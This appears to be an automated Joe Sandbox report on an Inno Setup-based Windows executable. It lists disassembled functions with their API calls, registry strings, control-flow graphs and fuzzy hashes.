                                                                                          • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483AB0
                                                                                          • GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00483ABC
                                                                                          • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00483ADD
                                                                                          • GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00483AF0
                                                                                          • GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 00483AF6
                                                                                          • GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483B0D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
                                                                                          • String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
                                                                                          • API String ID: 2230631259-2623177817
                                                                                          • Opcode ID: 7dca9948a1095c4364ab55fa8ed369d502b26d1142efbcbd424e95be4cda74f5
                                                                                          • Instruction ID: d1db678d6bd555fecb25ccca0b477ef677e73c145b16f55f8d8b06b946339d0c
                                                                                          • Opcode Fuzzy Hash: 7dca9948a1095c4364ab55fa8ed369d502b26d1142efbcbd424e95be4cda74f5
                                                                                          • Instruction Fuzzy Hash: 7F1181C0204741A4DA00BFB94D45B6F65889B11F2AF040C7B6840AA287EABCEF44A76E

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1647 468d88-468dc0 call 47c26c 1650 468dc6-468dd6 call 478e24 1647->1650 1651 468fa2-468fbc call 403420 1647->1651 1656 468ddb-468e20 call 4078f4 call 403738 call 42de1c 1650->1656 1662 468e25-468e27 1656->1662 1663 468e2d-468e42 1662->1663 1664 468f98-468f9c 1662->1664 1665 468e57-468e5e 1663->1665 1666 468e44-468e52 call 42dd4c 1663->1666 1664->1651 1664->1656 1668 468e60-468e82 call 42dd4c call 42dd64 1665->1668 1669 468e8b-468e92 1665->1669 1666->1665 1668->1669 1686 468e84 1668->1686 1670 468e94-468eb9 call 42dd4c * 2 1669->1670 1671 468eeb-468ef2 1669->1671 1693 468ebb-468ec4 call 4314f8 1670->1693 1694 468ec9-468edb call 42dd4c 1670->1694 1673 468ef4-468f06 call 42dd4c 1671->1673 1674 468f38-468f3f 1671->1674 1687 468f16-468f28 call 42dd4c 1673->1687 1688 468f08-468f11 call 4314f8 1673->1688 1680 468f41-468f75 call 42dd4c * 3 1674->1680 1681 468f7a-468f90 RegCloseKey 1674->1681 1680->1681 1686->1669 1687->1674 1701 468f2a-468f33 call 4314f8 1687->1701 1688->1687 1693->1694 1694->1671 1704 468edd-468ee6 call 4314f8 1694->1704 1701->1674 1704->1671
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(?,00468FA2,?,?,00000001,00000000,00000000,00468FBD,?,00000000,00000000,?), ref: 00468F8B
                                                                                          Strings
                                                                                          • Inno Setup: Icon Group, xrefs: 00468E66
                                                                                          • %s\%s_is1, xrefs: 00468E05
                                                                                          • Inno Setup: No Icons, xrefs: 00468E73
                                                                                          • Inno Setup: Deselected Tasks, xrefs: 00468F19
                                                                                          • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00468DE7
                                                                                          • Inno Setup: Selected Components, xrefs: 00468EAA
                                                                                          • Inno Setup: Deselected Components, xrefs: 00468ECC
                                                                                          • Inno Setup: Selected Tasks, xrefs: 00468EF7
                                                                                          • Inno Setup: User Info: Name, xrefs: 00468F47
                                                                                          • Inno Setup: User Info: Organization, xrefs: 00468F5A
                                                                                          • Inno Setup: Setup Type, xrefs: 00468E9A
                                                                                          • Inno Setup: App Path, xrefs: 00468E4A
                                                                                          • Inno Setup: User Info: Serial, xrefs: 00468F6D
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                                                          • API String ID: 47109696-1093091907
                                                                                          • Opcode ID: b9928a5b5c0cf6c1dc91f6627cbb06318d05b30c5d76f15ccadbaf9fdfcb7506
                                                                                          • Instruction ID: 069c4cdb4b1287edb5c1b702bebeb6c44c7684ad2aa17a57d1fdfe9a2539746b
                                                                                          • Opcode Fuzzy Hash: b9928a5b5c0cf6c1dc91f6627cbb06318d05b30c5d76f15ccadbaf9fdfcb7506
                                                                                          • Instruction Fuzzy Hash: 6B51A330A006449BCB15DB65D881BDEB7F5EB48304F50857EE840AB391EB79AF01CB59

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                            • Part of subcall function 0042D898: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00453DB4,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004983A5), ref: 0042D8AB
                                                                                            • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                            • Part of subcall function 0042D8F0: GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
                                                                                            • Part of subcall function 0042D8F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910
                                                                                          • SHGetKnownFolderPath.SHELL32(00499D30,00008000,00000000,?,00000000,0047C942), ref: 0047C846
                                                                                          • CoTaskMemFree.OLE32(?,0047C88B), ref: 0047C87E
                                                                                            • Part of subcall function 0042D208: GetEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,?,?,00000000,0042DA3E,00000000,0042DAD0,?,?,?,0049B628,00000000,00000000), ref: 0042D233
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Directory$AddressEnvironmentFolderFreeHandleKnownModulePathProcSystemTaskVariableWindows
                                                                                          • String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
                                                                                          • API String ID: 3771764029-544719455
                                                                                          • Opcode ID: 23963da8b4b34a95ffd58041a931adf40c150fbdd8371ea61f0364dbdea36cdf
                                                                                          • Instruction ID: 88e29a10730232d74bbdb0c5b7d00c3ea12cf2700f44d19641833b453bfd909d
                                                                                          • Opcode Fuzzy Hash: 23963da8b4b34a95ffd58041a931adf40c150fbdd8371ea61f0364dbdea36cdf
                                                                                          • Instruction Fuzzy Hash: 1461CF74A00204AFDB10EBA5D8C2A9E7B69EB44319F90C47FE404A7392DB3C9A44CF5D

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1949 423874-42387e 1950 4239a7-4239ab 1949->1950 1951 423884-4238a6 call 41f3c4 GetClassInfoA 1949->1951 1954 4238d7-4238e0 GetSystemMetrics 1951->1954 1955 4238a8-4238bf RegisterClassA 1951->1955 1957 4238e2 1954->1957 1958 4238e5-4238ef GetSystemMetrics 1954->1958 1955->1954 1956 4238c1-4238d2 call 408cbc call 40311c 1955->1956 1956->1954 1957->1958 1960 4238f1 1958->1960 1961 4238f4-423950 call 403738 call 4062e8 call 403400 call 42364c SetWindowLongA 1958->1961 1960->1961 1972 423952-423965 call 424178 SendMessageA 1961->1972 1973 42396a-423998 GetSystemMenu DeleteMenu * 2 1961->1973 1972->1973 1973->1950 1975 42399a-4239a2 DeleteMenu 1973->1975 1975->1950
                                                                                          APIs
                                                                                            • Part of subcall function 0041F3C4: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2
                                                                                          • GetClassInfoA.USER32(00400000,0042367C), ref: 0042389F
                                                                                          • RegisterClassA.USER32(00499630), ref: 004238B7
                                                                                          • GetSystemMetrics.USER32(00000000), ref: 004238D9
                                                                                          • GetSystemMetrics.USER32(00000001), ref: 004238E8
                                                                                          • SetWindowLongA.USER32(00410460,000000FC,0042368C), ref: 00423944
                                                                                          • SendMessageA.USER32(00410460,00000080,00000001,00000000), ref: 00423965
                                                                                          • GetSystemMenu.USER32(00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 00423970
                                                                                          • DeleteMenu.USER32(00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 0042397F
                                                                                          • DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0042398C
                                                                                          • DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000), ref: 004239A2
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
                                                                                          • String ID: |6B
                                                                                          • API String ID: 183575631-3009739247
                                                                                          • Opcode ID: 4cae07da4ecbd82a5ef2c5022e230c145e19d211ee6ce0cd027d67cd6f27acc7
                                                                                          • Instruction ID: 5979ac727d64f3fe5c9a0a43452729076f54e0f9e4c251b9a4c28f9d6bed272f
                                                                                          • Opcode Fuzzy Hash: 4cae07da4ecbd82a5ef2c5022e230c145e19d211ee6ce0cd027d67cd6f27acc7
                                                                                          • Instruction Fuzzy Hash: E63152B17402006AEB10AF69DC82F6A37989B14709F60017BFA44EF2D7C6BDED40876D

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 1977 47ce78-47cece call 42c3fc call 4035c0 call 47cb3c call 4525d8 1986 47ced0-47ced5 call 453344 1977->1986 1987 47ceda-47cee9 call 4525d8 1977->1987 1986->1987 1991 47cf03-47cf09 1987->1991 1992 47ceeb-47cef1 1987->1992 1995 47cf20-47cf48 call 42e394 * 2 1991->1995 1996 47cf0b-47cf11 1991->1996 1993 47cf13-47cf1b call 403494 1992->1993 1994 47cef3-47cef9 1992->1994 1993->1995 1994->1991 1997 47cefb-47cf01 1994->1997 2003 47cf6f-47cf89 GetProcAddress 1995->2003 2004 47cf4a-47cf6a call 4078f4 call 453344 1995->2004 1996->1993 1996->1995 1997->1991 1997->1993 2006 47cf95-47cfb2 call 403400 * 2 2003->2006 2007 47cf8b-47cf90 call 453344 2003->2007 2004->2003 2007->2006
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(74580000,SHGetFolderPathA), ref: 0047CF7A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc
                                                                                          • String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$]xI$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
                                                                                          • API String ID: 190572456-256906917
                                                                                          • Opcode ID: c4b8d3d93c7f37bb14fa31bc5bbe574b3393d33fbabbe9beac26f258e91ad005
                                                                                          • Instruction ID: ec9c61b31d03a4d18d2fa5da2167344019e511a33ceb5cf80618cf604467b355
                                                                                          • Opcode Fuzzy Hash: c4b8d3d93c7f37bb14fa31bc5bbe574b3393d33fbabbe9beac26f258e91ad005
                                                                                          • Instruction Fuzzy Hash: 20311D30E001499BCB10EFA5D5D1ADEB7B5EF44308F50847BE504E7281D778AE458B6D

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 2126 40631c-406336 GetModuleHandleA GetProcAddress 2127 406338 2126->2127 2128 40633f-40634c GetProcAddress 2126->2128 2127->2128 2129 406355-406362 GetProcAddress 2128->2129 2130 40634e 2128->2130 2131 406364-406366 SetProcessDEPPolicy 2129->2131 2132 406368-406369 2129->2132 2130->2129 2131->2132
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,?,00498BC0), ref: 00406322
                                                                                          • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
                                                                                          • GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
                                                                                          • GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
                                                                                          • SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498BC0), ref: 00406366
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleModulePolicyProcess
                                                                                          • String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
                                                                                          • API String ID: 3256987805-3653653586
                                                                                          • Opcode ID: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
                                                                                          • Instruction ID: 935c6a5f7b98c90e27654dc67135d8c1f882d2ad5d8c1b9d0efaf55941893a49
                                                                                          • Opcode Fuzzy Hash: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
                                                                                          • Instruction Fuzzy Hash: 97E02D90380702ACEA1032B20D82F3B144C9B54B69B26543B7D56B51C7D9BDDD7059BD
                                                                                          APIs
                                                                                          • SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
                                                                                          • GetWindowLongA.USER32(?,000000F0), ref: 0041366F
                                                                                          • GetWindowLongA.USER32(?,000000F4), ref: 00413681
                                                                                          • SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
                                                                                          • SetPropA.USER32(?,00000000,00000000), ref: 004136AB
                                                                                          • SetPropA.USER32(?,00000000,00000000), ref: 004136C2
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: LongWindow$Prop
                                                                                          • String ID: 3A$yA
                                                                                          • API String ID: 3887896539-3278460822
                                                                                          • Opcode ID: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
                                                                                          • Instruction ID: bcb4e109f9bb3244d1d15a250a8b19338fc20a7c4ef9bfc7c396c8b3ff51cb63
                                                                                          • Opcode Fuzzy Hash: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
                                                                                          • Instruction Fuzzy Hash: 8C22D06508E3C05FE31B9B74896A5D57FA0EE13325B1D45DFC4C28B1A3D21E8A8BC71A

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 2894 467180-46722a call 41461c call 41463c call 41461c call 41463c SHGetFileInfo 2903 46725f-46726a call 478e04 2894->2903 2904 46722c-467233 2894->2904 2909 46726c-4672b1 call 42c3fc call 40357c call 403738 ExtractIconA call 4670c0 2903->2909 2910 4672bb-4672ce call 47d33c 2903->2910 2904->2903 2905 467235-46725a ExtractIconA call 4670c0 2904->2905 2905->2903 2932 4672b6 2909->2932 2915 4672d0-4672da call 47d33c 2910->2915 2916 4672df-4672e3 2910->2916 2915->2916 2919 4672e5-467308 call 403738 SHGetFileInfo 2916->2919 2920 46733d-467371 call 403400 * 2 2916->2920 2919->2920 2928 46730a-467311 2919->2928 2928->2920 2931 467313-467338 ExtractIconA call 4670c0 2928->2931 2931->2920 2932->2920
                                                                                          APIs
                                                                                          • SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467223
                                                                                          • ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467249
                                                                                            • Part of subcall function 004670C0: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00467158
                                                                                            • Part of subcall function 004670C0: DestroyCursor.USER32(00000000), ref: 0046716E
                                                                                          • ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 004672A0
                                                                                          • SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00467301
                                                                                          • ExtractIconA.SHELL32(00400000,00000000,?), ref: 00467327
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Icon$Extract$FileInfo$CursorDestroyDraw
                                                                                          • String ID: c:\directory$shell32.dll$%H
                                                                                          • API String ID: 3376378930-166502273
                                                                                          • Opcode ID: d7a251f7ede599729126a20c6e5bc656e487c76ea0efebb03c6af550fa195c4c
                                                                                          • Instruction ID: 732e1a1751fb8a235258c93266195bfa595ebd68417bad8a6af0601d960a2915
                                                                                          • Opcode Fuzzy Hash: d7a251f7ede599729126a20c6e5bc656e487c76ea0efebb03c6af550fa195c4c
                                                                                          • Instruction Fuzzy Hash: 8A516070604244AFD710DF65CD8AFDFB7A8EB48308F1081A6F80897351D6789E81DA59
                                                                                          APIs
                                                                                          • GetActiveWindow.USER32 ref: 0042F58F
                                                                                          • GetFocus.USER32 ref: 0042F597
                                                                                          • RegisterClassA.USER32(004997AC), ref: 0042F5B8
                                                                                          • CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F68C,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F5F6
                                                                                          • CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F63C
                                                                                          • ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F64D
                                                                                          • SetFocus.USER32(00000000,00000000,0042F66F,?,?,?,00000001,00000000,?,00458352,00000000,0049B628), ref: 0042F654
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$CreateFocus$ActiveClassRegisterShow
                                                                                          • String ID: TWindowDisabler-Window
                                                                                          • API String ID: 3167913817-1824977358
                                                                                          • Opcode ID: d82bdac47665a0423d7aef7e4f95abac113c6b4ba7ee72313a02f6ddbd37ff30
                                                                                          • Instruction ID: c3989f54cd535b42bfd745bd8d6279a550c1ea008e6f4be51b2d228796931bcd
                                                                                          • Opcode Fuzzy Hash: d82bdac47665a0423d7aef7e4f95abac113c6b4ba7ee72313a02f6ddbd37ff30
                                                                                          • Instruction Fuzzy Hash: B021A170740710BAE310EF66AD43F1A76B8EB04B44F91853BF604AB2E1D7B86D0586AD
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498C06), ref: 00453210
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498C06), ref: 0045322A
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
                                                                                          • API String ID: 1646373207-2130885113
                                                                                          • Opcode ID: d7661fd9f0913dad122060e2c1ded37189c483bc636f4dff06c0b7ded89dfa78
                                                                                          • Instruction ID: a781b9bdaab79611976bfea65fa4e072d6e85bd62b4b6e26dfe65079d72397a7
                                                                                          • Opcode Fuzzy Hash: d7661fd9f0913dad122060e2c1ded37189c483bc636f4dff06c0b7ded89dfa78
                                                                                          • Instruction Fuzzy Hash: EA01D470240B00FED301AF63AD12F663A58D7557ABF6044BBFC14965C2C77C4A088E6D
                                                                                          APIs
                                                                                          • RegisterClipboardFormatA.USER32(commdlg_help), ref: 00430948
                                                                                          • RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 00430957
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00430971
                                                                                          • GlobalAddAtomA.KERNEL32(00000000), ref: 00430992
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
